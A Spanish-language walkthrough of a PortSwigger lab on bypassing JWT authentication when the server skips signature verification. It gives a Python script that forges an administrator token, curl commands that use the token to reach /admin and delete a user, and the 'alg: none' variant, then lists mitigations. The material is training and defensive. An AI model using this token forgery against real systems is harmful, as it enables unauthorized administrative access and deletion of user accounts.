Bypass de Autenticación JWT mediante Firma No Verificada
Descripción del Lab (contiene spoilers)
JWT · Lab de Portswigger ↗
Este lab utiliza un mecanismo basado en JWT para gestionar sesiones. Debido a fallos de implementación, el servidor no verifica la firma de ningún JWT que recibe. Para resolver el lab, modifica tu token de sesión para obtener acceso al panel de administración en /admin, luego elimina al usuario carlos. Puedes iniciar sesión en tu propia cuenta usando las siguientes credenciales: wiener:peter
18 de marzo de 2025Conceptos Previos Necesarios Para Resolver El Lab
Fundamentos de JWT
¿Qué es JWT (JSON Web Token)?
JWT es un medio compacto y seguro para URLs de representar Claims* que se transfieren entre dos partes. Se usa comúnmente para autenticación e intercambio de información en aplicaciones web. Usa codificación base64 para asegurar transmisión segura para URLs.
Un JWT consta de tres partes separadas por puntos (.):
header.payload.signature
Por ejemplo:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJ3aWVuZXIiLCJleHAiOjE3NzIxOTg5NTd9.signature_here
Desglosando cada parte:
1. Header (JSON codificado en Base64URL):
{
"kid": "170c351e-58cc-4e4b-9116-6e7924337580",
"alg": "HS256"
}
alg: El algoritmo de firma (HS256 = HMAC-SHA256)kid: Key ID (identificador opcional para la clave de firma)
2. Payload (JSON codificado en Base64URL):
{
"iss": "portswigger",
"exp": 1772198957,
"sub": "wiener"
}
iss: Emisor del tokenexp: Timestamp de expiraciónsub: Subject (usualmente el nombre de usuario)
3. Signature: La firma se crea tomando el header y payload codificados, y firmandolos con una clave secreta usando el algoritmo especificado en el header:
# Pseudocódigo
message = base64UrlEncode(header) + "." + base64UrlEncode(payload)
key = JWT_SECRET # Podría ser una contraseña, API key, UUID o cualquier otra cadena
signature = HMACSHA256(message, key) # Esto es solo la parte de la firma, no el JWT completo
La firma asegura que el token no ha sido manipulado. Si un atacante modifica el header o payload, la firma no coincidirá a menos que conozca la clave secreta.
El JWT completo se construiría así:
# Pseudocódigo
jwt = base64UrlEncode(header) + "." + base64UrlEncode(payload) + "." + signature Vulnerabilidad de Firma JWT No Verificada
Vulnerabilidad de Firma JWT No Verificada
Cuando un servidor recibe un JWT, debería siempre verificar la firma antes de confiar en el contenido del token. Sin embargo, algunas implementaciones no lo hacen correctamente.
La especificación JWT es flexible. Define cómo los tokens deben estar estructurados y firmados, pero la verificación real de la firma queda a cargo del código de la aplicación. Esto crea una brecha peligrosa: si el servidor solo decodifica el JWT sin verificar la firma, un atacante puede modificar el payload a voluntad.
Cómo funciona el ataque:
1. El atacante inicia sesión y recibe un JWT válido
2. El atacante decodifica el payload del JWT (base64)
3. El atacante modifica el payload (ej., cambia "sub": "wiener" a "sub": "administrator")
4. El atacante re-codifica el payload (base64)
5. El atacante envía el JWT modificado y el servidor lo acepta sin verificar la firma
El header y la firma del token pueden permanecer completamente intactos solo el payload necesita ser modificado.
Ataque alternativo: Cambiar el algoritmo a “none”
Algunas implementaciones JWT también aceptan el algoritmo "none", que deshabilita completamente la verificación de firma. Los atacantes pueden:
1. Cambiar el "alg" del header de "RS256" o "HS256" a "none"
2. Eliminar completamente la parte de la firma (o mantener cualquier valor)
3. El servidor acepta el token sin ninguna validación de firma
Esto crea un token como: header.payload. (sin firma) o header.payload.firma_invalida.
¿Por qué sucede esto?
- Las librerías frecuentemente proporcionan métodos separados para decodificar y verificar JWTs
- Un desarrollador podría accidentalmente usar
decode()en lugar deverify(), lo cual omite la validación de la firma - La aplicación confía ciegamente en el token una vez que puede parsear la estructura JSON
- Algunas librerías aceptan el algoritmo
"none"para tokens sin firmar, diseñado para casos de uso específicos pero peligroso si no está adecuadamente restringido
Resolución
Exploremos la página de login del lab directamente e iniciemos sesión para obtener un token JWT de sesión válido:
curl -s "https://<lab-url>.web-security-academy.net/login"
La página de login tiene un formulario simple con un token CSRF:
<form class=login-form method=POST action="/login">
<input required type="hidden" name="csrf" value="GOP5f7aWBkNGS3pTsbVMVbuGkunP162M">
<label>Username</label>
<input required type=username name="username" autofocus>
<label>Password</label>
<input required type=password name="password">
<button class=button type=submit> Log in </button>
</form>
Iniciemos sesión con las credenciales proporcionadas:
curl -D - "https://<lab-url>.web-security-academy.net/login" -d "csrf=GOP5f7aWBkNGS3pTsbVMVbuGkunP162M&username=wiener&password=peter"
Desglose del comando:
-D -= mostrar cabeceras de respuesta en stdout
-d "csrf=...&username=wiener&password=peter"= enviar datos POST (automáticamente establece el método a POST y Content-Type a application/x-www-form-urlencoded)
Respuesta:
HTTP/2 302
location: /my-account?id=wiener
set-cookie: session=eyJraWQiOiIyYjRmOThlNC1lMjEyLTQ3YjMtOWM0Yi1hMjM3ZDgxYTM5ZTkiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTc3Mzg2Njc1MSwic3ViIjoid2llbmVyIn0.JrwvXrQ2-Y6cTTWD7REhZgU6-qNC9enR7p3TPqmUvtILKWOHm-UJ5EEphCebaCRhP79h3dZL72xStckzlk0LFAg9yn3kpyxRfWIbUAu1BEnmXPU_L9cIOcGSuiEI8f_3AJzsV5gEC7whpn9-XweBmVMN78AbkisD1h-l91fjptBkOzq2VtzdtoZtoDCZLR78ioM61PwZsBcGBM0k4I9AE_JxR93r7EKCbOpibadT98wjo4qV2v1sJ8v139nri-cATAnH3nvDOi4nElXekL90sCEMsbYKPWa3ZBJWj-cChDcgcrQ3mPYwJajKjNXNku2EM06gLFEv59aitGWFBEZ8Rg; Secure; HttpOnly; SameSite=None
La cookie de sesión es un token JWT. Decodifiquémoslo para entender su estructura:
echo "eyJraWQiOiIyYjRmOThlNC1lMjEyLTQ3YjMtOWM0Yi1hMjM3ZDgxYTM5ZTkiLCJhbGciOiJSUzI1NiJ9" | base64 -d | jq .
Desglose del comando:
echo "..."= imprimir la parte del header del JWT
base64 -d= decodificar base64
jq .= formatear JSON
Salida del header:
{
"kid": "2b4f98e4-e212-47b3-9c4b-a237d81a39e9",
"alg": "RS256"
}
Ahora decodifiquemos el payload:
echo "eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTc3Mzg2Njc1MSwic3ViIjoid2llbmVyIn0" | base64 -d | jq .
Salida del payload:
{
"iss": "portswigger",
"exp": 1773866751,
"sub": "wiener"
}
El JWT usa RS256 (RSA-SHA256) para la firma, que es un algoritmo asimétrico. Sin embargo, la descripción del lab nos dice que el servidor no verifica la firma en absoluto. Esto significa que podemos simplemente modificar el payload sin preocuparnos por re-firmar el token. La firma será inválida, pero el servidor no la verificará.
Todo lo que necesitamos hacer es:
- Decodificar el payload
- Cambiar
"sub": "wiener"a"sub": "administrator" - Re-codificar el payload
- Reemplazar la parte del payload en el JWT original
Creemos un script de Python para forjar el JWT de administrador:
import base64
import json
JWT = "eyJraWQiOiIyYjRmOThlNC1lMjEyLTQ3YjMtOWM0Yi1hMjM3ZDgxYTM5ZTkiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTc3Mzg2Njc1MSwic3ViIjoid2llbmVyIn0.JrwvXrQ2-Y6cTTWD7REhZgU6-qNC9enR7p3TPqmUvtILKWOHm-UJ5EEphCebaCRhP79h3dZL72xStckzlk0LFAg9yn3kpyxRfWIbUAu1BEnmXPU_L9cIOcGSuiEI8f_3AJzsV5gEC7whpn9-XweBmVMN78AbkisD1h-l91fjptBkOzq2VtzdtoZtoDCZLR78ioM61PwZsBcGBM0k4I9AE_JxR93r7EKCbOpibadT98wjo4qV2v1sJ8v139nri-cATAnH3nvDOi4nElXekL90sCEMsbYKPWa3ZBJWj-cChDcgcrQ3mPYwJajKjNXNku2EM06gLFEv59aitGWFBEZ8Rg"
header, payload, signature = JWT.split('.')
# Decodificar el payload
payload_decoded = json.loads(base64.urlsafe_b64decode(payload + '=='))
# Alterar el claim sub para suplantar al administrador
payload_decoded['sub'] = 'administrator'
# Re-codificar el payload (JSON compacto, sin padding)
tampered_payload = base64.urlsafe_b64encode(
json.dumps(payload_decoded, separators=(',', ':')).encode()
).decode().rstrip('=')
# Construir el JWT forjado - mantener header y firma originales intactos
forged_jwt = f"{header}.{tampered_payload}.{signature}"
print(forged_jwt)
Desglose del script:
El script forja un JWT de administrador:
- Divide el JWT original en sus tres partes (header, payload, firma)
- Decodifica el payload base64url para obtener los claims JSON
- Altera el claim
subde"wiener"a"administrator"- Re-codifica el payload modificado de vuelta a base64url
- Reensambla el JWT con el header y la firma originales. El servidor no verificará la firma de todos modos.
Salida esperada:
eyJraWQiOiIyYjRmOThlNC1lMjEyLTQ3YjMtOWM0Yi1hMjM3ZDgxYTM5ZTkiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTc3Mzg2Njc1MSwic3ViIjoiYWRtaW5pc3RyYXRvciJ9.JrwvXrQ2-Y6cTTWD7REhZgU6-qNC9enR7p3TPqmUvtILKWOHm-UJ5EEphCebaCRhP79h3dZL72xStckzlk0LFAg9yn3kpyxRfWIbUAu1BEnmXPU_L9cIOcGSuiEI8f_3AJzsV5gEC7whpn9-XweBmVMN78AbkisD1h-l91fjptBkOzq2VtzdtoZtoDCZLR78ioM61PwZsBcGBM0k4I9AE_JxR93r7EKCbOpibadT98wjo4qV2v1sJ8v139nri-cATAnH3nvDOi4nElXekL90sCEMsbYKPWa3ZBJWj-cChDcgcrQ3mPYwJajKjNXNku2EM06gLFEv59aitGWFBEZ8Rg
Nota: Incluso se podria cambiar el header
alganoney dejar la firma sin poner, tipo:header.payload.
Observa que solo la parte central (payload) cambió. El header y la firma permanecen idénticos al token original.
Ahora accedamos al panel de administración con nuestro JWT forjado:
curl -s "https://<lab-url>.web-security-academy.net/admin" \
-b "session=eyJraWQiOiIyYjRmOThlNC1lMjEyLTQ3YjMtOWM0Yi1hMjM3ZDgxYTM5ZTkiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTc3Mzg2Njc1MSwic3ViIjoiYWRtaW5pc3RyYXRvciJ9.JrwvXrQ2-Y6cTTWD7REhZgU6-qNC9enR7p3TPqmUvtILKWOHm-UJ5EEphCebaCRhP79h3dZL72xStckzlk0LFAg9yn3kpyxRfWIbUAu1BEnmXPU_L9cIOcGSuiEI8f_3AJzsV5gEC7whpn9-XweBmVMN78AbkisD1h-l91fjptBkOzq2VtzdtoZtoDCZLR78ioM61PwZsBcGBM0k4I9AE_JxR93r7EKCbOpibadT98wjo4qV2v1sJ8v139nri-cATAnH3nvDOi4nElXekL90sCEMsbYKPWa3ZBJWj-cChDcgcrQ3mPYwJajKjNXNku2EM06gLFEv59aitGWFBEZ8Rg" \
| grep "carlos"
Desglose del comando:
-b "session=..."= enviar el JWT forjado como cookie de sesión
grep "carlos"= mostrar líneas que contienen “carlos”
Respuesta:
<span>carlos - </span>
<a href="/admin/delete?username=carlos">Delete</a>
Tenemos acceso de administrador. Ahora eliminemos al usuario carlos:
curl -s "https://<lab-url>.web-security-academy.net/admin/delete?username=carlos" \
-b "session=eyJraWQiOiIyYjRmOThlNC1lMjEyLTQ3YjMtOWM0Yi1hMjM3ZDgxYTM5ZTkiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTc3Mzg2Njc1MSwic3ViIjoiYWRtaW5pc3RyYXRvciJ9.JrwvXrQ2-Y6cTTWD7REhZgU6-qNC9enR7p3TPqmUvtILKWOHm-UJ5EEphCebaCRhP79h3dZL72xStckzlk0LFAg9yn3kpyxRfWIbUAu1BEnmXPU_L9cIOcGSuiEI8f_3AJzsV5gEC7whpn9-XweBmVMN78AbkisD1h-l91fjptBkOzq2VtzdtoZtoDCZLR78ioM61PwZsBcGBM0k4I9AE_JxR93r7EKCbOpibadT98wjo4qV2v1sJ8v139nri-cATAnH3nvDOi4nElXekL90sCEMsbYKPWa3ZBJWj-cChDcgcrQ3mPYwJajKjNXNku2EM06gLFEv59aitGWFBEZ8Rg"
La falta de verificación de firma nos permitió alterar el payload del JWT a plena vista, sin necesidad de trucos criptográficos. Solo un pequeño cambio a través de base64 es suficiente para darle a carlos un viaje de ida a la delete query.
Estrategias de Mitigación
- Siempre verificar las firmas JWT: Usa el método
verify()de tu librería, nunca solodecode(). Este es el requisito de seguridad JWT más fundamental - Usar librerías JWT bien mantenidas: Confía en librerías probadas en batalla que manejen la verificación por defecto en lugar de implementar el manejo de JWT desde cero
- Aplicar validación de algoritmo: Especifica explícitamente qué algoritmos acepta el servidor y rechaza tokens que usen algoritmos inesperados
- Validar todos los claims del JWT: Siempre verifica el emisor (
iss), expiración (exp) y otros claims del lado del servidor - Implementar defensa en profundidad: No dependas únicamente de la validación JWT. Añade validaciones de sesión del lado del servidor y controles de autorización como capas adicionales
Referencias
Claims* son declaraciones sobre una entidad (típicamente el usuario) y datos adicionales, como identidad (sub), emisor (iss), tiempo de expiración (exp) y otros metadatos. Más información sobre JWT claims
Recursos
JWT.io Debugger Esta es una herramienta interactiva para decodificar, verificar y depurar tokens JWT. También me fue útil cuando era desarrollador web.